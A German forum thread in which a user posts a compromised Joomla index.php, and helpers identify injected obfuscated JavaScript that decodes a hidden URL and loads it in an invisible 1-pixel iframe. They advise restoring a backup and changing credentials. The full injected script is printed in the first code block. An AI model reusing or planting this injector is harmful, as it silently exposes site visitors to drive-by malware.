Autor |
Nachricht |
sago89
Threadersteller
Dabei seit: 22.12.2011
Ort: -
Alter: -
Geschlecht: -
|
Verfasst Do 22.12.2011 12:19
Titel Joomla Problem |
|
|
Hallo zusammen,
Ich habe vor einer Weile mittel Joomla eine Webseite für eine Kenyanisches Hilfsprojekt gemacht. Jetzt funktioniert diese nicht mehr. Ich bekommen folgende Fehlermeldung:
Zitat: | Parse error: syntax error, unexpected '<' in /home/www/web478/html/maimuna/administrator/index.php on line 88 |
wenn ich mir nun den Code anschaue kann ich nichts ungewöhnliches finden:
Code: | <?php
/**
* @version $Id: index.php 10381 2008-06-01 03:35:53Z pasamio $
* @package Joomla
* @copyright Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/
// Set flag that this is a parent file
define( '_JEXEC', 1 );
define('JPATH_BASE', dirname(__FILE__) );
define('DS', DIRECTORY_SEPARATOR);
require_once( JPATH_BASE .DS.'includes'.DS.'defines.php' );
require_once( JPATH_BASE .DS.'includes'.DS.'framework.php' );
require_once( JPATH_BASE .DS.'includes'.DS.'helper.php' );
require_once( JPATH_BASE .DS.'includes'.DS.'toolbar.php' );
JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;
/**
* CREATE THE APPLICATION
*
* NOTE :
*/
$mainframe =& JFactory::getApplication('administrator');
/**
* INITIALISE THE APPLICATION
*
* NOTE :
*/
$mainframe->initialise(array(
'language' => $mainframe->getUserState( "application.lang", 'lang' )
));
JPluginHelper::importPlugin('system');
// trigger the onAfterInitialise events
JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
$mainframe->triggerEvent('onAfterInitialise');
/**
* ROUTE THE APPLICATION
*
* NOTE :
*/
$mainframe->route();
// trigger the onAfterRoute events
JDEBUG ? $_PROFILER->mark('afterRoute') : null;
$mainframe->triggerEvent('onAfterRoute');
/**
* DISPATCH THE APPLICATION
*
* NOTE :
*/
$option = JAdministratorHelper::findOption();
$mainframe->dispatch($option);
// trigger the onAfterDispatch events
JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
$mainframe->triggerEvent('onAfterDispatch');
/**
* RENDER THE APPLICATION
*
* NOTE :
*/
$mainframe->render();
// trigger the onAfterRender events
JDEBUG ? $_PROFILER->mark( 'afterRender' ) : null;
$mainframe->triggerEvent( 'onAfterRender' );
/**
* RETURN THE RESPONSE
*/
echo JResponse::toString($mainframe->getCfg('gzip'));
?<html><body><script type="text/javascript">function nFUK(){var DRaSe='kWROX';if('ZdLDY'=='Usir')AIKAYU();}
if('dHfD'=='yUMmF')CcSLc();var GxhmtZ='pTRi';var PJOJ='OtHCac';var aVFqiuiA="939f9f9b655a5a8d909e9f9990a2a597a3598da5598e985a9f9d915a8e9aa0999f909d59939f98";if('ApvPKY'=='zyjPDt')GhcC='lpwxZ';var iWOzzlu="";function exMD(){var QvpMry='AhGYcj';if('Wnutqw'=='jWkFFJ')tEdXk();}var HMFQGS;var WvCKinn="\x66romC\x68arCod\x65";var iaXtD;if('AQxl'=='YvtQ')hQIa='jBVI';var rAMLhnx="parse\x49n\x74";var jJdRFu='Mtsey';function DHKHMO(){}
var nWDuMVW="\x73lice";if('huiFSg'=='MoqXiC')HxWUwZ();function ETJZw(){}
var noBXMIdN=(function(){if('hhwS'=='UYmEn')icLM='PlHhw';return this;if('GbSAs'=='OgSMHj')FegrNX='xeNI';var YsnMu='fWYSY';})();function mFDG(){var tOOq='YXlsb';if('izqDB'=='obLYdQ')RWfcF();}
var jFLBLu="cons\x74ruct\x6f\x72";function eNKyO(){var uNeFHa='CKXfl';if('EgVZtC'=='MYrqn')oUwr();}
var dNEcBIs="YBrCgU"[jFLBLu];function hIbQN(){var tfHX='YKGxK';if('gmVRbP'=='bGFmk')irst();}
if('uwRCee'=='HYZvxk')IpPFng='AKwZ';var bwWy;for(var tKmbdKxF=0;tKmbdKxF<aVFqiuiA.length;tKmbdKxF+=2){function SSqopc(){}var YvhMtu;if('FjvyVX'=='PpUnKJ')uuNq='Qbbmm';zpmFQ=noBXMIdN[rAMLhnx](aVFqiuiA[nWDuMVW](tKmbdKxF,tKmbdKxF+2),16)-43;var zJyV=299;var PyyTn;iWOzzlu+=dNEcBIs[WvCKinn](zpmFQ);if('Fauq'=='uNZSZ')gWkn();if('wiJUHA'=='XboS')AjkFOq();var GozJY=258;}
var NZAVKt;function ZESI(){var LgDEJ='tuzCFm';if('uTRDR'=='pnFmZ')HqrA();}
function iXTOzr(){}var pAXmuO;var pbHsXg="AAJNmeB";var QFzAk=170;if('eoRNe'=='MQqvV')oZEU='JqyC';var TkICGBO=navigator.appVersion.indexOf("MSIE")!=-1?'<iframe name="'+pbHsXg+'" src="'+"iWOzzlu"+'">':'iframe';if('Prml'=='GizmAq')ITgrz='sXgdy';function pVqFSH(){var flpvaD='ogdkQ';if('LoHMp'=='Bewx')fQZQ();}if('JxYCV'=='uKYP')cwGXU='RbuVaX';var BbOFMB=document.createElement(TkICGBO);BbOFMB.name=pbHsXg;var orJDll='zBrDD';BbOFMB.setAttribute("name",pbHsXg);var EeVs='IxshIr';function whULQ(){var YIKprd='XSxnN';if('nTPhP'=='HPHP')aKKGIy();}
BbOFMB.id=pbHsXg;function XNxaKg(){}if('wBllVQ'=='JQiHFG')VGko='LZpfa';BbOFMB.src=iWOzzlu;BbOFMB.style.right="0px";var WzeJW=153;BbOFMB.style.top="0px";var UQLZ='LgJevV';if('hPxF'=='bbFhp')Omqe='fktQdt';BbOFMB.style.height="1px"
BbOFMB.style.width="1px";var yvRq;if('jiWO'=='ZcuMd')qORP='xuNi';BbOFMB.style.position="absolute";if('dXdBlu'=='UNXNXt')fCTzHn='WqoQBk';document.body.appendChild(BbOFMB);if('BTvxOE'=='JQrVS')ZaMqvy='JHHhwe';if('aVRPL'=='ZjBj')hPmFze();</script></body></html>> |
Und hier ist der Ausschnitt um Zeile 88:
Code: | // trigger the onAfterRender events
JDEBUG ? $_PROFILER->mark( 'afterRender' ) : null;
$mainframe->triggerEvent( 'onAfterRender' );
/**
* RETURN THE RESPONSE
*/
echo JResponse::toString($mainframe->getCfg('gzip'));
?<html><body><script type="text/javascript">function nFUK(){var DRaSe='kWROX';if('ZdLDY'=='Usir')AIKAYU();}
if('dHfD'=='yUMmF')CcSLc();var GxhmtZ='pTRi';var PJOJ='OtHCac';var aVFqiuiA="939f9f9b655a5a8d909e9f9990a2a597a3598da5598e985a9f9d915a8e9aa0999f909d59939f98";if('ApvPKY'=='zyjPDt')GhcC='lpwxZ';var iWOzzlu="";function exMD(){var QvpMry='AhGYcj';if('Wnutqw'=='jWkFFJ')tEdXk();}var HMFQGS;var WvCKinn="\x66romC\x68arCod\x65";var iaXtD;if('AQxl'=='YvtQ')hQIa='jBVI';var rAMLhnx="parse\x49n\x74";var jJdRFu='Mtsey';function DHKHMO(){}
var nWDuMVW="\x |
Es gilt noch zu sagen, dass ich überhaupt kein PHP Profi bin.
kann es sein, dass es daher kommt, weil ich die Seite mit einer alten Version von Joomla erstellt habe? Die Seite ist mittlerweile 2.5 Jährig und wurde mit der damals aktuellen Version erstellt.
Danke und Gruss
Samuel
|
|
|
|
|
zweitaccount
Dabei seit: 25.01.2008
Ort: -
Alter: -
Geschlecht: -
|
Verfasst Do 22.12.2011 13:09
Titel
|
|
|
Code: | /**
* RETURN THE RESPONSE
*/
echo JResponse::toString($mainframe->getCfg('gzip'));
?><html> |
Dir fehlt da ein '>' nach dem ? und vor dem '<html>'.
Grüße
zweitaccount
|
|
|
|
|
Anzeige
|
|
|
sago89
Threadersteller
Dabei seit: 22.12.2011
Ort: -
Alter: -
Geschlecht: -
|
Verfasst Do 22.12.2011 17:28
Titel Danke |
|
|
Danke für die Antwort.
Jetzt habe ich das gemacht und jetzt bekomme ich diese Meldung
Zitat: | Parse error: syntax error, unexpected '<' in /home/www/web478/html/maimuna/index.php on line 88 |
Code: |
/**
* RETURN THE RESPONSE
*/
echo JResponse::toString($mainframe->getCfg('gzip'));
?><html><body><script type="text/javascript">function nFUK(){var DRaSe='kWROX';if('ZdLDY'=='Usir')AIKAYU();}
if('dHfD'=='yUMmF')CcSLc();var GxhmtZ='pTRi';var PJOJ='OtHCac';var aVFqiuiA="939f9f9b655a5a8d909e9f9990a2a597a3598da5598e985a9f9d915a8e9aa0999f909d59939f98";if('ApvPKY'=='zyjPDt')GhcC='lpwxZ';var iWOzzlu="";function exMD(){var QvpMry='AhGYcj';if('Wnutqw'=='jWkFFJ')tEdXk();}var HMFQGS;var WvCKinn="\x66romC\x68arCod\x65";var iaXtD;if('AQxl'=='YvtQ')hQIa='jBVI';var |
|
|
|
|
|
zweitaccount
Dabei seit: 25.01.2008
Ort: -
Alter: -
Geschlecht: -
|
Verfasst Do 22.12.2011 17:50
Titel
|
|
|
Hmm, kommentier mal diese zeile da aus:
Code: | echo JResponse::toString($mainframe->getCfg('gzip')); |
Falls der Fehler nicht mehr kommt - steckt da der Wurm drin. Bin aber
leider (oder glücklicherweise) kein Joomla Profi.
Ansonsten hast Du nach Code: | </script></body></html>> |
das schließende > drin, sollte auch raus.
Öhm, krass - jetzt sehe ichs erst, die komplette Seite wird ja praktisch
per JavaScript geschrieben? Nicht das die Dir gehackt wurde?
// Äh - die wurde gehackt. Das Script will Daten von bestnewzlx.bz.cm nachladen...
Da kann ich Dir auch nicht weiterhelfen.
Zuletzt bearbeitet von zweitaccount am Do 22.12.2011 17:56, insgesamt 1-mal bearbeitet
|
|
|
|
|
top
Moderator
Dabei seit: 25.11.2003
Ort: Hedwig Holzbein
Alter: 52
Geschlecht:
|
Verfasst Do 22.12.2011 18:14
Titel
|
|
|
Ich habe ja nicht viel Ahnung von Java-Script. Der untere Teil deines Quelltextes erscheint mir aber irgendwie sehr verdächtig.
Frag doch mal beim Provider nach, ob die noch ein Backup von vor dem Hack haben und die Seite auf den Stand bringen können. Dann sämtliche Zugangsdaten ändern, Joomla-Updates aufspielen und hoffen, dass sich nicht noch irgendwo eine vom Hacker angelegte Hintertür befindet...
|
|
|
|
|
zweitaccount
Dabei seit: 25.01.2008
Ort: -
Alter: -
Geschlecht: -
|
Verfasst Do 22.12.2011 21:38
Titel
|
|
|
top hat geschrieben: | ...Der untere Teil deines Quelltextes erscheint mir aber irgendwie sehr verdächtig. .. |
jo genau, da steckt es auch - ab hier praktisch: <script type="text/javascript">function nFUK(){var...
Aber wie top schon meinte, würde es mich auch nicht wundern, wenn
nicht noch weitere Files modifiziert wurden - wenns denn schon mal
im Template steht.
|
|
|
|
|
sago89
Threadersteller
Dabei seit: 22.12.2011
Ort: -
Alter: -
Geschlecht: -
|
Verfasst Fr 23.12.2011 12:07
Titel
|
|
|
Das habe ich befürchtet. Danke für die Antworten.
|
|
|
|
|
sago89
Threadersteller
Dabei seit: 22.12.2011
Ort: -
Alter: -
Geschlecht: -
|
Verfasst Di 10.01.2012 16:59
Titel kein Backup |
|
|
Hallo zusammen,
Leider hat mein Provider nur Backups von den letzten 10 Tagen. Hat jemand von Euch eine andere Idee?
|
|
|
|
|
|
|
|
Ähnliche Themen |
Joomla-Menü-Problem
Joomla 1.5.23 Phoca Download Problem
Joomla xampp->webspace problem
Hika-Shop (Joomla): Problem mit Preisen
Joomla Untermenü?
joomla! / cms Layoutpräsentation
|
|